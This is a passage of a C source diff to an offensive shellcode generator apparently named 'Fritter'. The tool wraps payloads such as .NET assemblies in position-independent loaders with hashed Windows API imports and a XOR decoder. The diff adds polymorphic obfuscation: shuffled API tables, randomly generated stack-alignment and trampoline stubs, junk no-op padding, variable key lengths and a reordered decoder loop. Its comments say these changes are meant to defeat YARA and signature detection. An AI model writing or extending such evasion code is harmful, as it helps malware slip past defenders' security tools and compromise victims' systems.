DPRINT("Setting clipboard data");
|
||||
// SetClipboardData transfers ownership of hCopy on success;
|
||||
// only free it ourselves if the call fails.
|
||||
if(!SetClipboardData(CF_TEXT, hCopy)) {
|
||||
GlobalFree(hCopy);
|
||||
}
|
||||
} else {
|
||||
GlobalFree(hCopy);
|
||||
}
|
||||
}
|
||||
CloseClipboard();
|
||||
CloseClipboard();
|
||||
}
|
||||
#endif
|
||||
DPRINT("Freeing memory");
|
||||
@@ -191,7 +198,7 @@ int py_template(void * pic, uint32_t pic_len, FILE* fd){
|
||||
|
||||
for(j=0; j < pic_len; j++){
|
||||
if(j % 16 == 0) {
|
||||
fprintf(fd, "buff += \"");
|
||||
fprintf(fd, "buf += \"");
|
||||
}
|
||||
fprintf(fd, "\\x%02x", p[j]);
|
||||
|
||||
|
||||
@@ -44,80 +44,17 @@
|
||||
#define DLL_NAMES "ole32;oleaut32;wininet;mscoree;shell32"
|
||||
|
||||
// These must be in the same order as the FRITTER_INSTANCE structure defined in fritter.h
|
||||
static API_IMPORT api_imports[] = {
|
||||
{KERNEL32_DLL, "LoadLibraryA"},
|
||||
{KERNEL32_DLL, "GetProcAddress"},
|
||||
{KERNEL32_DLL, "GetModuleHandleA"},
|
||||
{KERNEL32_DLL, "VirtualAlloc"},
|
||||
{KERNEL32_DLL, "VirtualFree"},
|
||||
{KERNEL32_DLL, "VirtualQuery"},
|
||||
{KERNEL32_DLL, "VirtualProtect"},
|
||||
{KERNEL32_DLL, "Sleep"},
|
||||
{KERNEL32_DLL, "MultiByteToWideChar"},
|
||||
{KERNEL32_DLL, "GetUserDefaultLCID"},
|
||||
{KERNEL32_DLL, "WaitForSingleObject"},
|
||||
{KERNEL32_DLL, "CreateThread"},
|
||||
{KERNEL32_DLL, "CreateFileA"},
|
||||
{KERNEL32_DLL, "GetFileSizeEx"},
|
||||
{KERNEL32_DLL, "GetThreadContext"},
|
||||
{KERNEL32_DLL, "GetCurrentThread"},
|
||||
{KERNEL32_DLL, "GetCurrentProcess"},
|
||||
{KERNEL32_DLL, "GetCommandLineA"},
|
||||
{KERNEL32_DLL, "GetCommandLineW"},
|
||||
{KERNEL32_DLL, "HeapAlloc"},
|
||||
{KERNEL32_DLL, "HeapReAlloc"},
|
||||
{KERNEL32_DLL, "GetProcessHeap"},
|
||||
{KERNEL32_DLL, "HeapFree"},
|
||||
{KERNEL32_DLL, "GetLastError"},
|
||||
{KERNEL32_DLL, "CloseHandle"},
|
||||
|
||||
{SHELL32_DLL, "CommandLineToArgvW"},
|
||||
|
||||
{OLEAUT32_DLL, "SafeArrayCreate"},
|
||||
{OLEAUT32_DLL, "SafeArrayCreateVector"},
|
||||
{OLEAUT32_DLL, "SafeArrayPutElement"},
|
||||
{OLEAUT32_DLL, "SafeArrayDestroy"},
|
||||
{OLEAUT32_DLL, "SafeArrayGetLBound"},
|
||||
{OLEAUT32_DLL, "SafeArrayGetUBound"},
|
||||
{OLEAUT32_DLL, "SysAllocString"},
|
||||
{OLEAUT32_DLL, "SysFreeString"},
|
||||
{OLEAUT32_DLL, "LoadTypeLib"},
|
||||
|
||||
{WININET_DLL, "InternetCrackUrlA"},
|
||||
{WININET_DLL, "InternetOpenA"},
|
||||
{WININET_DLL, "InternetConnectA"},
|
||||
{WININET_DLL, "InternetSetOptionA"},
|
||||
{WININET_DLL, "InternetReadFile"},
|
||||
{WININET_DLL, "InternetQueryDataAvailable"},
|
||||
{WININET_DLL, "InternetCloseHandle"},
|
||||
{WININET_DLL, "HttpOpenRequestA"},
|
||||
{WININET_DLL, "HttpSendRequestA"},
|
||||
{WININET_DLL, "HttpQueryInfoA"},
|
||||
|
||||
{MSCOREE_DLL, "CorBindToRuntime"},
|
||||
{MSCOREE_DLL, "CLRCreateInstance"},
|
||||
|
||||
{OLE32_DLL, "CoInitializeEx"},
|
||||
{OLE32_DLL, "CoCreateInstance"},
|
||||
{OLE32_DLL, "CoUninitialize"},
|
||||
|
||||
{NTDLL_DLL, "RtlEqualUnicodeString"},
|
||||
{NTDLL_DLL, "RtlEqualString"},
|
||||
{NTDLL_DLL, "RtlUnicodeStringToAnsiString"},
|
||||
{NTDLL_DLL, "RtlInitUnicodeString"},
|
||||
{NTDLL_DLL, "RtlExitUserThread"},
|
||||
{NTDLL_DLL, "RtlExitUserProcess"},
|
||||
{NTDLL_DLL, "RtlCreateUnicodeString"},
|
||||
{NTDLL_DLL, "NtContinue"},
|
||||
{NTDLL_DLL, "NtCreateSection"},
|
||||
{NTDLL_DLL, "NtMapViewOfSection"},
|
||||
{NTDLL_DLL, "NtUnmapViewOfSection"},
|
||||
//{KERNEL32_DLL, "AddVectoredExceptionHandler"},
|
||||
//{KERNEL32_DLL, "RemoveVectoredExceptionHandler"},
|
||||
//{NTDLL_DLL, "RtlFreeUnicodeString"},
|
||||
//{NTDLL_DLL, "RtlFreeString"},
|
||||
|
||||
{ NULL, NULL } // last one always contains two NULL pointers
|
||||
// Order is generated per build by tools/gen_api_shuffle into
|
||||
// include/api_shuffle.h from the canonical list in include/api_master.h.
|
||||
// Slot 0 is pinned as LoadLibraryA (loader.c resolves it explicitly
|
||||
// before the DLL-loading loop). Both this table and the typed-struct
|
||||
// view in fritter.h expand from the same shuffled list, so they
|
||||
// cannot disagree.
|
||||
static API_IMPORT api_imports[] = {
|
||||
#define XAPI(dll, name, type, field) {dll, name},
|
||||
#include "api_shuffle.h"
|
||||
#undef XAPI
|
||||
{ NULL, NULL } // sentinel
|
||||
};
|
||||
|
||||
// required to load .NET assemblies
|
||||
@@ -556,13 +493,15 @@ static int gen_random(void *buf, uint64_t len) {
|
||||
int fd;
|
||||
uint64_t r=0;
|
||||
uint8_t *p=(uint8_t*)buf;
|
||||
|
||||
|
||||
DPRINT("Opening /dev/urandom to acquire %li bytes", len);
|
||||
fd = open("/dev/urandom", O_RDONLY);
|
||||
|
||||
if(fd > 0) {
|
||||
for(r=0; r<len; r++, p++) {
|
||||
if(read(fd, p, 1) != 1) break;
|
||||
|
||||
if(fd >= 0) {
|
||||
while(r < len) {
|
||||
ssize_t n = read(fd, p + r, (size_t)(len - r));
|
||||
if(n <= 0) break;
|
||||
r += (uint64_t)n;
|
||||
}
|
||||
close(fd);
|
||||
}
|
||||
@@ -840,6 +779,12 @@ static int build_instance(PFRITTER_CONFIG c) {
|
||||
DPRINT("Generating hashes for API using IV: %" PRIX64, inst->iv);
|
||||
|
||||
for(cnt=0; api_imports[cnt].module != NULL; cnt++) {
|
||||
if(cnt >= (int)(sizeof(inst->api.hash)/sizeof(inst->api.hash[0]))) {
|
||||
DPRINT("api_imports exceeds FRITTER_INSTANCE.api ceiling (%zu)",
|
||||
sizeof(inst->api.hash)/sizeof(inst->api.hash[0]));
|
||||
err = FRITTER_ERROR_INVALID_PARAMETER;
|
||||
goto cleanup;
|
||||
}
|
||||
// calculate hash for DLL string
|
||||
dll_hash = maru(api_imports[cnt].module, inst->iv);
|
||||
|
||||
@@ -1142,40 +1087,22 @@ static int save_loader(PFRITTER_CONFIG c) {
|
||||
* OUTPUT : Fritter error code.
|
||||
*/
|
||||
static int build_loader(PFRITTER_CONFIG c) {
|
||||
// RSP alignment variants — all have 5-byte epilogue so call rel32=5 works
|
||||
// Variant 0: push rbp / mov rbp,rsp / and rsp,-0x10 / sub rsp,0x20 / call $+5 / mov rsp,rbp / pop rbp / ret
|
||||
static unsigned char RSP_ALIGN_V0[] = {
|
||||
0x55,
|
||||
0x48, 0x89, 0xE5,
|
||||
0x48, 0x83, 0xE4, 0xF0,
|
||||
0x48, 0x83, 0xEC, 0x20,
|
||||
0xE8, 0x05, 0x00, 0x00, 0x00,
|
||||
0x48, 0x89, 0xEC,
|
||||
0x5D,
|
||||
0xC3
|
||||
};
|
||||
// Variant 1: push rbx / mov rbx,rsp / and rsp,-0x10 / sub rsp,0x20 / call $+5 / mov rsp,rbx / pop rbx / ret
|
||||
static unsigned char RSP_ALIGN_V1[] = {
|
||||
0x53,
|
||||
0x48, 0x89, 0xE3,
|
||||
0x48, 0x83, 0xE4, 0xF0,
|
||||
0x48, 0x83, 0xEC, 0x20,
|
||||
0xE8, 0x05, 0x00, 0x00, 0x00,
|
||||
0x48, 0x89, 0xDC,
|
||||
0x5B,
|
||||
0xC3
|
||||
};
|
||||
// Variant 2: push rbp / lea rbp,[rsp] / and rsp,-0x10 / sub rsp,0x20 / call $+6 / lea rsp,[rbp] / pop rbp / ret
|
||||
static unsigned char RSP_ALIGN_V2[] = {
|
||||
0x55,
|
||||
0x48, 0x8D, 0x2C, 0x24,
|
||||
0x48, 0x83, 0xE4, 0xF0,
|
||||
0x48, 0x83, 0xEC, 0x20,
|
||||
0xE8, 0x06, 0x00, 0x00, 0x00,
|
||||
0x48, 0x8D, 0x65, 0x00,
|
||||
0x5D,
|
||||
0xC3
|
||||
// RSP alignment is generated per output below: random save register
|
||||
// (RBX/RBP/R13/R14/R15), random save form (mov vs lea), random restore
|
||||
// form, and random junk between each instruction. Replaces three fixed
|
||||
// template variants whose bytes were enumerable signatures.
|
||||
|
||||
// Safe junk pool - flag-only / reg-form NOPs. No memory, no stack,
|
||||
// no clobber of RCX. Used by the RSP-align generator and the decoder.
|
||||
static const struct { uint8_t b[4]; uint8_t n; } djunk[] = {
|
||||
{{0x90}, 1}, // nop
|
||||
{{0x66, 0x90}, 2}, // 66 nop
|
||||
{{0x0F, 0x1F, 0xC0}, 3}, // nop eax (reg-form)
|
||||
{{0xF8}, 1}, // clc
|
||||
{{0xF9}, 1}, // stc
|
||||
{{0xF5}, 1}, // cmc
|
||||
};
|
||||
#define DJUNK_COUNT 6
|
||||
|
||||
// Junk instructions that preserve RCX (for insertion between POP and RSP_ALIGN)
|
||||
static unsigned char JUNK_NOP1[] = { 0x90 }; // nop
|
||||
@@ -1217,31 +1144,229 @@ static int build_loader(PFRITTER_CONFIG c) {
|
||||
break;
|
||||
}
|
||||
|
||||
// --- Feature 2A: Random junk prefix (0-15 bytes) ---
|
||||
gen_random(&rnd_byte, 1);
|
||||
uint8_t junk_prefix_len = rnd_byte & 0x0F; // 0-15
|
||||
DPRINT("Junk prefix length: %d", junk_prefix_len);
|
||||
|
||||
// --- Feature 2B: Select random RSP_ALIGN variant ---
|
||||
unsigned char *rsp_align;
|
||||
uint32_t rsp_align_size;
|
||||
// --- Feature 2A: Junk fall-through prefix (0-47 bytes, no jump) ---
|
||||
//
|
||||
// Per output, fill 0-47 bytes from a pool of safe no-op instructions.
|
||||
// The bytes execute as no-ops and fall through to the CALL - there is
|
||||
// no "jump-over-junk" anchor (no leading EB/E9/etc.) for YARA rules
|
||||
// to position from. Length AND internal layout vary per output: at any
|
||||
// given total length, the choice of which instruction occupies which
|
||||
// byte position differs, since pool entries are 1..9 bytes wide.
|
||||
//
|
||||
// Pool members are documented no-op forms. The CPU's NOP family
|
||||
// (0F 1F /0 etc.) accepts a ModR/M byte that looks like memory
|
||||
// addressing but is recognized as a NOP and performs no memory
|
||||
// access - safe even when RAX is uninitialized at entry.
|
||||
static const struct { uint8_t b[9]; uint8_t n; } pfx_pool[] = {
|
||||
{{0x90}, 1}, // nop
|
||||
{{0xF8}, 1}, // clc
|
||||
{{0xF9}, 1}, // stc
|
||||
{{0xF5}, 1}, // cmc
|
||||
{{0x66, 0x90}, 2}, // 66 nop
|
||||
{{0x0F, 0x1F, 0x00}, 3}, // nop dword [rax]
|
||||
{{0x0F, 0x1F, 0xC0}, 3}, // nop eax (reg form)
|
||||
{{0x48, 0x87, 0xC0}, 3}, // xchg rax, rax
|
||||
{{0x0F, 0x1F, 0x40, 0x00}, 4}, // nop dword [rax+0]
|
||||
{{0x0F, 0x1F, 0x44, 0x00, 0x00}, 5}, // nop dword [rax+rax+0]
|
||||
{{0x66, 0x0F, 0x1F, 0x44, 0x00, 0x00}, 6}, // nop word [rax+rax+0]
|
||||
{{0x0F, 0x1F, 0x80, 0x00, 0x00, 0x00, 0x00}, 7}, // nop dword [rax+0]
|
||||
{{0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00}, 8}, // nop dword [rax+rax+0]
|
||||
{{0x66, 0x0F, 0x1F, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00}, 9}, // nop word [rax+rax+0]
|
||||
};
|
||||
#define PFX_POOL_COUNT (sizeof(pfx_pool)/sizeof(pfx_pool[0]))
|
||||
|
||||
static uint8_t pfx_buf[64];
|
||||
uint32_t pfx_len = 0;
|
||||
gen_random(&rnd_byte, 1);
|
||||
switch(rnd_byte % 3) {
|
||||
case 0:
|
||||
rsp_align = RSP_ALIGN_V0;
|
||||
rsp_align_size = sizeof(RSP_ALIGN_V0);
|
||||
break;
|
||||
case 1:
|
||||
rsp_align = RSP_ALIGN_V1;
|
||||
rsp_align_size = sizeof(RSP_ALIGN_V1);
|
||||
break;
|
||||
default:
|
||||
rsp_align = RSP_ALIGN_V2;
|
||||
rsp_align_size = sizeof(RSP_ALIGN_V2);
|
||||
break;
|
||||
uint32_t pfx_target = rnd_byte & 0x3F; // 0..63
|
||||
while(pfx_len < pfx_target) {
|
||||
gen_random(&rnd_byte, 1);
|
||||
uint32_t idx = rnd_byte % PFX_POOL_COUNT;
|
||||
uint32_t need = pfx_pool[idx].n;
|
||||
if(pfx_len + need > pfx_target) {
|
||||
// would overshoot - fall back to a 1-byte entry (indices 0-3)
|
||||
// (don't name a local "small" - Windows rpcndr.h typedefs it to char)
|
||||
gen_random(&rnd_byte, 1);
|
||||
uint32_t small_idx = rnd_byte & 0x03;
|
||||
pfx_buf[pfx_len++] = pfx_pool[small_idx].b[0];
|
||||
continue;
|
||||
}
|
||||
memcpy(pfx_buf + pfx_len, pfx_pool[idx].b, need);
|
||||
pfx_len += need;
|
||||
}
|
||||
DPRINT("RSP align variant size: %d", rsp_align_size);
|
||||
DPRINT("Prefix fall-through length: %u (target %u)", pfx_len, pfx_target);
|
||||
|
||||
// --- Feature 2B: Generative RSP alignment routine ---
|
||||
// Layout emitted: [push reg] [save reg<-rsp] [and rsp,-16] [sub rsp,32]
|
||||
// [CALL rel32 disp=epi_size]
|
||||
// [restore rsp<-reg] [pop reg] [ret]
|
||||
// Junk inserted at 4 sites in prologue and 2 sites in epilogue.
|
||||
// Save register from {RBX,RBP,R13,R14,R15}; save and restore forms
|
||||
// (mov vs lea) chosen independently. CALL disp computed dynamically.
|
||||
|
||||
static const uint8_t RSP_SAVE_REGS[] = { 3, 5, 13, 14, 15 }; // RBX,RBP,R13,R14,R15
|
||||
static uint8_t rsp_buf[128];
|
||||
uint32_t rsp_n = 0;
|
||||
|
||||
gen_random(&rnd_byte, 1);
|
||||
uint8_t rsp_save_reg = RSP_SAVE_REGS[rnd_byte % (sizeof(RSP_SAVE_REGS)/sizeof(RSP_SAVE_REGS[0]))];
|
||||
uint8_t rsp_rex_b = (rsp_save_reg >= 8) ? 1 : 0;
|
||||
uint8_t rsp_reg3 = rsp_save_reg & 7;
|
||||
gen_random(&rnd_byte, 1);
|
||||
int rsp_save_form = rnd_byte & 1; // 0 = mov, 1 = lea
|
||||
gen_random(&rnd_byte, 1);
|
||||
int rsp_restore_form = rnd_byte & 1;
|
||||
|
||||
// Local junk emitter - params have leading underscore to avoid collision
|
||||
// with djunk[].n field referenced in the macro body.
|
||||
#define RSP_JUNK(_dst, _pos) do { \
|
||||
gen_random(&rnd_byte, 1); \
|
||||
int _jc = rnd_byte & 0x03; \
|
||||
for(int _j = 0; _j < _jc; _j++) { \
|
||||
gen_random(&rnd_byte, 1); \
|
||||
int _ji = rnd_byte % DJUNK_COUNT; \
|
||||
memcpy((_dst) + (_pos), djunk[_ji].b, djunk[_ji].n); \
|
||||
(_pos) += djunk[_ji].n; \
|
||||
} \
|
||||
} while(0)
|
||||
|
||||
// Build epilogue first into a temp buffer so we know its size for CALL disp
|
||||
uint8_t epi_buf[64];
|
||||
uint32_t epi_n = 0;
|
||||
|
||||
// restore: mov rsp,reg OR lea rsp,[reg+0]
|
||||
if (rsp_restore_form == 0) {
|
||||
epi_buf[epi_n++] = 0x48 | (rsp_rex_b ? 0x04 : 0); // REX.R for src
|
||||
epi_buf[epi_n++] = 0x89;
|
||||
epi_buf[epi_n++] = 0xC0 | (rsp_reg3 << 3) | 4; // mod=11, reg=src, rm=4(rsp)
|
||||
} else {
|
||||
epi_buf[epi_n++] = 0x48 | (rsp_rex_b ? 0x01 : 0); // REX.B for r/m
|
||||
epi_buf[epi_n++] = 0x8D;
|
||||
epi_buf[epi_n++] = 0x40 | (4 << 3) | rsp_reg3; // mod=01 disp8, reg=4(rsp dst), rm=src
|
||||
epi_buf[epi_n++] = 0x00; // disp8 = 0
|
||||
}
|
||||
RSP_JUNK(epi_buf, epi_n);
|
||||
|
||||
// pop reg
|
||||
if (rsp_rex_b) epi_buf[epi_n++] = 0x41;
|
||||
epi_buf[epi_n++] = 0x58 | rsp_reg3;
|
||||
RSP_JUNK(epi_buf, epi_n);
|
||||
|
||||
// ret
|
||||
epi_buf[epi_n++] = 0xC3;
|
||||
|
||||
// Now emit prologue into rsp_buf
|
||||
// push reg
|
||||
if (rsp_rex_b) rsp_buf[rsp_n++] = 0x41;
|
||||
rsp_buf[rsp_n++] = 0x50 | rsp_reg3;
|
||||
RSP_JUNK(rsp_buf, rsp_n);
|
||||
|
||||
// save: mov reg,rsp OR lea reg,[rsp]
|
||||
if (rsp_save_form == 0) {
|
||||
rsp_buf[rsp_n++] = 0x48 | (rsp_rex_b ? 0x01 : 0); // REX.B for r/m=dst
|
||||
rsp_buf[rsp_n++] = 0x89;
|
||||
rsp_buf[rsp_n++] = 0xC0 | (4 << 3) | rsp_reg3; // mod=11, reg=4(rsp src), rm=dst
|
||||
} else {
|
||||
rsp_buf[rsp_n++] = 0x48 | (rsp_rex_b ? 0x04 : 0); // REX.R for reg=dst
|
||||
rsp_buf[rsp_n++] = 0x8D;
|
||||
rsp_buf[rsp_n++] = (rsp_reg3 << 3) | 4; // mod=00, reg=dst, rm=100 (SIB)
|
||||
rsp_buf[rsp_n++] = 0x24; // SIB: scale=0, idx=4(none), base=4(rsp)
|
||||
}
|
||||
RSP_JUNK(rsp_buf, rsp_n);
|
||||
|
||||
// and rsp,-0x10
|
||||
rsp_buf[rsp_n++] = 0x48; rsp_buf[rsp_n++] = 0x83;
|
||||
rsp_buf[rsp_n++] = 0xE4; rsp_buf[rsp_n++] = 0xF0;
|
||||
RSP_JUNK(rsp_buf, rsp_n);
|
||||
|
||||
// sub rsp,0x20
|
||||
rsp_buf[rsp_n++] = 0x48; rsp_buf[rsp_n++] = 0x83;
|
||||
rsp_buf[rsp_n++] = 0xEC; rsp_buf[rsp_n++] = 0x20;
|
||||
RSP_JUNK(rsp_buf, rsp_n);
|
||||
|
||||
// CALL rel32, disp = epilogue size (skips over epilogue to fall into decoder)
|
||||
rsp_buf[rsp_n++] = 0xE8;
|
||||
{
|
||||
int32_t call_disp = (int32_t)epi_n;
|
||||
memcpy(rsp_buf + rsp_n, &call_disp, 4);
|
||||
rsp_n += 4;
|
||||
}
|
||||
|
||||
// Append epilogue
|
||||
memcpy(rsp_buf + rsp_n, epi_buf, epi_n);
|
||||
rsp_n += epi_n;
|
||||
|
||||
unsigned char *rsp_align = rsp_buf;
|
||||
uint32_t rsp_align_size = rsp_n;
|
||||
|
||||
DPRINT("Generated RSP align: save_reg=%u save=%s restore=%s size=%u (epi=%u)",
|
||||
rsp_save_reg, rsp_save_form ? "lea" : "mov",
|
||||
rsp_restore_form ? "lea" : "mov", rsp_n, epi_n);
|
||||
|
||||
// --- Feature 2D: Generative decoder→shim trampoline ---
|
||||
// Layout emitted: [LEA <reg>, [rip+disp32]]
|
||||
// [optional MOV RDX, <reg> if reg != RDX]
|
||||
// [junk 0..3 picks from djunk pool]
|
||||
// [JMP rel32 with disp=page_pad OR JMP RDX (FF E2)]
|
||||
// Replaces the static `48 8D 15 ?? ?? ?? ?? E9 ?? ?? ?? ??` pattern.
|
||||
// LEA disp and (if used) JMP disp are patched after page_pad is known.
|
||||
|
||||
static const uint8_t TRAMP_LEA_REGS[] = { 3, 2, 6, 7, 8 }; // RBX,RDX,RSI,RDI,R8
|
||||
static uint8_t tramp_buf[64];
|
||||
uint32_t tramp_n = 0;
|
||||
uint32_t tramp_lea_disp_off = 0;
|
||||
uint32_t tramp_jmp_disp_off = 0;
|
||||
int tramp_jmp_indirect = 0;
|
||||
|
||||
gen_random(&rnd_byte, 1);
|
||||
uint8_t tramp_reg = TRAMP_LEA_REGS[rnd_byte % (sizeof(TRAMP_LEA_REGS)/sizeof(TRAMP_LEA_REGS[0]))];
|
||||
uint8_t tramp_rex_r = (tramp_reg >= 8) ? 1 : 0;
|
||||
uint8_t tramp_reg3 = tramp_reg & 7;
|
||||
|
||||
gen_random(&rnd_byte, 1);
|
||||
tramp_jmp_indirect = rnd_byte & 1; // 0 = JMP rel32, 1 = JMP RDX
|
||||
|
||||
// LEA <reg>, [rip+disp32] - REX.W (+ REX.R for r8-r15), 8D, ModRM(mod=00,reg=tgt,rm=5)
|
||||
tramp_buf[tramp_n++] = 0x48 | (tramp_rex_r ? 0x04 : 0);
|
||||
tramp_buf[tramp_n++] = 0x8D;
|
||||
tramp_buf[tramp_n++] = 0x05 | (tramp_reg3 << 3);
|
||||
tramp_lea_disp_off = tramp_n;
|
||||
tramp_n += 4; // disp32 placeholder
|
||||
|
||||
// MOV RDX, <reg> (only if target isn't already RDX)
|
||||
if (tramp_reg != 2) {
|
||||
tramp_buf[tramp_n++] = 0x48 | (tramp_rex_r ? 0x04 : 0); // REX.W (+ REX.R for src)
|
||||
tramp_buf[tramp_n++] = 0x89;
|
||||
tramp_buf[tramp_n++] = 0xC0 | (tramp_reg3 << 3) | 2; // mod=11, reg=src, rm=2(RDX)
|
||||
}
|
||||
|
||||
// 0..3 djunk picks between MOV/LEA and JMP
|
||||
{
|
||||
gen_random(&rnd_byte, 1);
|
||||
int jcount = rnd_byte & 0x03;
|
||||
for (int j = 0; j < jcount; j++) {
|
||||
gen_random(&rnd_byte, 1);
|
||||
int jidx = rnd_byte % DJUNK_COUNT;
|
||||
memcpy(tramp_buf + tramp_n, djunk[jidx].b, djunk[jidx].n);
|
||||
tramp_n += djunk[jidx].n;
|
||||
}
|
||||
}
|
||||
|
||||
// JMP form
|
||||
if (tramp_jmp_indirect) {
|
||||
// FF E2 - JMP RDX (2 bytes, no displacement)
|
||||
tramp_buf[tramp_n++] = 0xFF;
|
||||
tramp_buf[tramp_n++] = 0xE2;
|
||||
} else {
|
||||
// E9 disp32 - JMP rel32 (5 bytes, disp = page_pad, patched later)
|
||||
tramp_buf[tramp_n++] = 0xE9;
|
||||
tramp_jmp_disp_off = tramp_n;
|
||||
tramp_n += 4; // disp32 placeholder
|
||||
}
|
||||
|
||||
uint32_t tramp_size = tramp_n;
|
||||
DPRINT("Trampoline: lea_reg=%u jmp=%s size=%u",
|
||||
tramp_reg, tramp_jmp_indirect ? "JMP RDX" : "JMP rel32", tramp_size);
|
||||
|
||||
// --- Feature 2C: Random junk between POP and RSP_ALIGN (0-8 bytes) ---
|
||||
uint8_t junk_mid[8];
|
||||
@@ -1272,8 +1397,33 @@ static int build_loader(PFRITTER_CONFIG c) {
|
||||
// [dec counter] [jnz loop] [junk]* [pop rcx] [8 key bytes]
|
||||
// (fall through to decoded loader)
|
||||
|
||||
uint8_t xor_key[8];
|
||||
gen_random(xor_key, 8);
|
||||
// --- Variable key length (4, 8, or 16 bytes) ---
|
||||
// Drives AND-mask immediate, JMP-SHORT imm over key tail, trailing
|
||||
// key byte count, AND host-side XOR encode mask. One pick collapses
|
||||
// three previously-fixed anchors (`AND ?? 07`, `EB 08`, 8-byte tail).
|
||||
uint8_t xor_key[16];
|
||||
uint32_t key_len;
|
||||
uint8_t key_mask;
|
||||
gen_random(&rnd_byte, 1);
|
||||
switch(rnd_byte % 3) {
|
||||
case 0: key_len = 4; key_mask = 0x03; break;
|
||||
case 1: key_len = 8; key_mask = 0x07; break;
|
||||
default: key_len = 16; key_mask = 0x0F; break;
|
||||
}
|
||||
gen_random(xor_key, key_len);
|
||||
|
||||
// --- Zero-init opcode: XOR (0x31) or SUB (0x29) ---
|
||||
// Same ModRM shape, same effect on the register; opcode flip alone.
|
||||
gen_random(&rnd_byte, 1);
|
||||
uint8_t zero_opcode = (rnd_byte & 1) ? 0x29 : 0x31;
|
||||
|
||||
// --- Hot-loop ordering of {inc_dp, inc_idx, and_mask} ---
|
||||
// 3 valid orderings (and_mask must follow inc_idx):
|
||||
// 0: inc_dp, inc_idx, and_mask
|
||||
// 1: inc_idx, inc_dp, and_mask
|
||||
// 2: inc_idx, and_mask, inc_dp
|
||||
gen_random(&rnd_byte, 1);
|
||||
int loop_order = rnd_byte % 3;
|
||||
|
||||
// --- Register selection ---
|
||||
// Roles: key_ptr, data_ptr, counter, key_idx
|
||||
@@ -1299,16 +1449,7 @@ static int build_loader(PFRITTER_CONFIG c) {
|
||||
DREG rCNT = dreg_pool[didx[2]]; // loop counter
|
||||
DREG rIDX = dreg_pool[didx[3]]; // key index (0-7)
|
||||
|
||||
// --- Safe junk instructions (no register/memory dependencies) ---
|
||||
static const struct { uint8_t b[4]; uint8_t n; } djunk[] = {
|
||||
{{0x90}, 1}, // nop
|
||||
{{0x66, 0x90}, 2}, // 66 nop
|
||||
{{0x0F, 0x1F, 0xC0}, 3}, // nop eax (reg-form, no mem access)
|
||||
{{0xF8}, 1}, // clc
|
||||
{{0xF9}, 1}, // stc
|
||||
{{0xF5}, 1}, // cmc
|
||||
};
|
||||
#define DJUNK_COUNT 6
|
||||
// djunk[] / DJUNK_COUNT defined at top of function - shared with RSP-align gen
|
||||
|
||||
// Helper: emit 0-3 random junk instructions into buf at offset ds
|
||||
#define EMIT_JUNK() do { \
|
||||
@@ -1336,6 +1477,10 @@ static int build_loader(PFRITTER_CONFIG c) {
|
||||
|
||||
// --- Pass 1: emit instructions with junk ---
|
||||
|
||||
// Leading djunk - shifts `push rcx` (0x51) off byte 0 of the stub
|
||||
// so the call-site landing byte is no longer a stable anchor.
|
||||
EMIT_JUNK();
|
||||
|
||||
// push rcx (preserve instance pointer)
|
||||
db[ds++] = 0x51;
|
||||
EMIT_JUNK();
|
||||
@@ -1368,9 +1513,9 @@ static int build_loader(PFRITTER_CONFIG c) {
|
||||
ds += 4;
|
||||
EMIT_JUNK();
|
||||
|
||||
// xor key_idx_32, key_idx_32 (zero the index)
|
||||
// zero key_idx_32 - XOR (0x31) or SUB (0x29), randomized per output
|
||||
if(rIDX.rex) db[ds++] = 0x45; // REX.RB (same reg in both fields)
|
||||
db[ds++] = 0x31;
|
||||
db[ds++] = zero_opcode;
|
||||
db[ds++] = 0xC0 | (rIDX.reg3 << 3) | rIDX.reg3;
|
||||
EMIT_JUNK();
|
||||
|
||||
@@ -1398,42 +1543,60 @@ static int build_loader(PFRITTER_CONFIG c) {
|
||||
}
|
||||
EMIT_JUNK();
|
||||
|
||||
// inc data_ptr (64-bit)
|
||||
db[ds++] = 0x48 | rDP.rex; // REX.W + REX.B
|
||||
db[ds++] = 0xFF;
|
||||
db[ds++] = 0xC0 | rDP.reg3; // ModRM: mod=11, reg=000(/0=INC), rm=data_ptr
|
||||
EMIT_JUNK();
|
||||
// --- Reorderable middle: {inc_dp, inc_idx, and_mask} ---
|
||||
// Local emitters; called in `loop_order`-selected sequence.
|
||||
#define EMIT_INC_DP() do { \
|
||||
db[ds++] = 0x48 | rDP.rex; \
|
||||
db[ds++] = 0xFF; \
|
||||
db[ds++] = 0xC0 | rDP.reg3; \
|
||||
} while(0)
|
||||
|
||||
// inc key_idx low byte
|
||||
{
|
||||
uint8_t rex = 0;
|
||||
if(rIDX.rex) rex = 0x41;
|
||||
else if(rIDX.reg3 >= 4) rex = 0x40; // need REX for SIL/DIL byte access
|
||||
if(rex) db[ds++] = rex;
|
||||
db[ds++] = 0xFE;
|
||||
db[ds++] = 0xC0 | rIDX.reg3; // INC r8
|
||||
#define EMIT_INC_IDX() do { \
|
||||
uint8_t _rex = 0; \
|
||||
if(rIDX.rex) _rex = 0x41; \
|
||||
else if(rIDX.reg3 >= 4) _rex = 0x40; \
|
||||
if(_rex) db[ds++] = _rex; \
|
||||
db[ds++] = 0xFE; \
|
||||
db[ds++] = 0xC0 | rIDX.reg3; \
|
||||
} while(0)
|
||||
|
||||
#define EMIT_AND_MASK() do { \
|
||||
uint8_t _rex = 0; \
|
||||
if(rIDX.rex) _rex = 0x41; \
|
||||
else if(rIDX.reg3 >= 4) _rex = 0x40; \
|
||||
if(_rex) db[ds++] = _rex; \
|
||||
db[ds++] = 0x80; \
|
||||
db[ds++] = 0xE0 | rIDX.reg3; \
|
||||
db[ds++] = key_mask; \
|
||||
} while(0)
|
||||
|
||||
switch(loop_order) {
|
||||
case 0: // inc_dp, inc_idx, and_mask
|
||||
EMIT_INC_DP(); EMIT_JUNK();
|
||||
EMIT_INC_IDX(); EMIT_JUNK();
|
||||
EMIT_AND_MASK();
|
||||
break;
|
||||
case 1: // inc_idx, inc_dp, and_mask
|
||||
EMIT_INC_IDX(); EMIT_JUNK();
|
||||
EMIT_INC_DP(); EMIT_JUNK();
|
||||
EMIT_AND_MASK();
|
||||
break;
|
||||
default: // inc_idx, and_mask, inc_dp
|
||||
EMIT_INC_IDX(); EMIT_JUNK();
|
||||
EMIT_AND_MASK(); EMIT_JUNK();
|
||||
EMIT_INC_DP();
|
||||
break;
|
||||
}
|
||||
// Trailing junk before DEC (DEC+JNZ must be flag-adjacent - no junk
|
||||
// between them, but here is fine since DEC overwrites flags from any
|
||||
// intervening instruction).
|
||||
EMIT_JUNK();
|
||||
|
||||
// and key_idx low byte, 7
|
||||
{
|
||||
uint8_t rex = 0;
|
